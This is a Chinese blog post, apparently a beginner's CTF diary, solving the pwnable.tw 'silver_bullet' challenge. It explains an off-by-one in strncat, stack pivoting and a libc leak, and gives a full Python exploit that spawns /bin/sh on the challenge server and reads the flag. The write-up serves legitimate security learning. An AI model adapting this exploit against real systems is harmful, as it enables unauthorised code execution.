欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创][pwn学习日记] pwnable.tw silver_bullet

[原创][pwn学习日记] pwnable.tw silver_bullet

新手学pwn,感觉做的很墨迹...

一.程序分析

先查看程序保护

 

然后进行反汇编


 

是经典的菜单类题目

 

简单来说程序的流程就是首先创建一颗银弹,然后可以提升银弹攻击力,直到可以打败狼人

 

接下来先看看我自定义的结构

 

然后就是3个函数

 


 

 

 

 

先找出溢出点

create_bullet

创建一颗银弹,输入的字符串长度就是银弹的攻击力,这里最大输入是0x30,看main函数的bullet定义缓冲区的大小就是0x30,所以没有溢出

power_up

输入一段字符串,与之前创建的银弹字符串连接,输入最大长度是0x30-之前银弹字符串长度,然后更新银弹字符串长度,乍一看没有溢出,不过strncat是在前一个字符串缓冲区的\x00处开始复制,然后复制结束后在下一字节添加\x00,这里如果两次输入的长度一共为0x30,就会造成off-by-one,溢出了一字节,然后这一字节刚好是覆盖了银弹字符串长度(攻击力),再次调用power_up就会造成溢出

beat

只要攻击力够高(这个溢出时很容易实现),就可以获取胜利并且main函数可以返回进而执行溢出内容

 

二.漏洞利用

因为power_up中限制银弹字符串长度最大为0x2f,为了使溢出的缓冲区尽量长,在创建银弹的时候输入0x2F个字符,然后第一次执行power_up的时候输入字符串长度为1,接下来溢出一字节到银弹长度里,然后更新银弹长度的时候0+1=1,所以在下一次调用power_up时最大允许我们溢出0x2F长度,但是这个长度不足我getshell,所以我这里还进行了栈迁移

1.泄漏地址

首先当然要获取system的地址,但是程序里没有引用,所以通过泄漏printf的地址得到libc的地址,获取加上system的偏移得到system的地址

2.栈迁移

溢出后栈中ebp是可控的,当执行了两次leave retnesp就为栈中的ebp,然后就可以把栈扔到数据段


 

因为bullet的内容在main全部清0,所以在第二次power_up输入的字符就会连接到银弹字符串长度的第二个字节处,输入内容如下


 

刚好0x2F字符以内,这里首先泄漏了printf的地址来计算system的地址,然后通过gadget1转到read_input_addr那里执行,目的是在新栈中写内容,在通过gadget2再执行一次leave retn到达新栈(gadget1 gadget2在程序中找到)

接下来新栈的内容就很简单了

 

至此getshell成功

 

import socket

import struct

HOST = 'chall.pwnable.tw'

PORT = 10103

s = socket.socket()

s.connect((HOST, PORT))

data = s.recv(1024).decode('ascii')

print(data)

data = s.recv(1024).decode('ascii')

print(data)

#创建银弹

payload ="1\n".encode('ascii')

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

payload =("1"*0x2F+"\n").encode('ascii')

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

data = s.recv(1024).decode('ascii')

print(data)

#溢出一字节

payload ="2\n".encode('ascii')

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

payload =("1"*0x1+"\n").encode('ascii')

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

data = s.recv(1024).decode('ascii')

print(data)

#覆盖返回地址  制造伪栈 泄漏printf地址

printf_plt=0x08048498

fmtstr_addr=0x08048BAB#: %s

gadget1_addr=0x08048472#add esp,0x8 pop ebx retn

gadget2_addr=0x08048A18#leave retn

printf_got=0x0804AFD4

fake_stack_addr=0x0804B410#地址尽量不要靠近数据段边缘,容易访问错误

ebp=fake_stack_addr

read_input_addr=0x080485EB

payload ="2\n".encode('ascii')

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

payload =b"\xff"*0x3+\

	struct.pack("<I",ebp)+\

	struct.pack("<I",printf_plt)+\

	struct.pack("<I",gadget1_addr)+\

	struct.pack("<I",fmtstr_addr)+\

	struct.pack("<I",printf_got)+\

	b"A"*4+\

	struct.pack("<I",read_input_addr)+\

	struct.pack("<I",gadget2_addr)+\

	struct.pack("<I",fake_stack_addr)+\

	struct.pack("<I",0x01010101)+\

	b"\n"

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

#赢得游戏并返回 在新栈写内容 获取printf地址

system_offset=0x0003A940 

printf_offset=0x00049020 

payload ="3\n".encode('ascii')

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

data = s.recv(1024).decode('ascii')

print(data)

data = s.recv(1024).decode('ascii')

print(data)

data = s.recv(1024)

print(data)

printf_addr=struct.unpack("<I",data[11:15])[0]

print("printf_addr:"+hex(printf_addr))

system_addr=printf_addr-printf_offset+system_offset

print("system_addr:"+hex(system_addr))

ret_addr=0x01010101

payload=struct.pack("<I",ebp)+\

		struct.pack("<I",system_addr)+\

		struct.pack("<I",ret_addr)+\

		struct.pack("<I",fake_stack_addr+0x10)+\

		b"/bin/sh"+\

		b"\n"

s.sendall(payload)

payload="cat /home/silver_bullet/flag\n".encode('ascii')

s.sendall(payload)

data = s.recv(1024).decode('ascii')

print(data)

s.close()



上传的附件 libc_32.so.6
silver_bullet
silver_bullet.idb

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功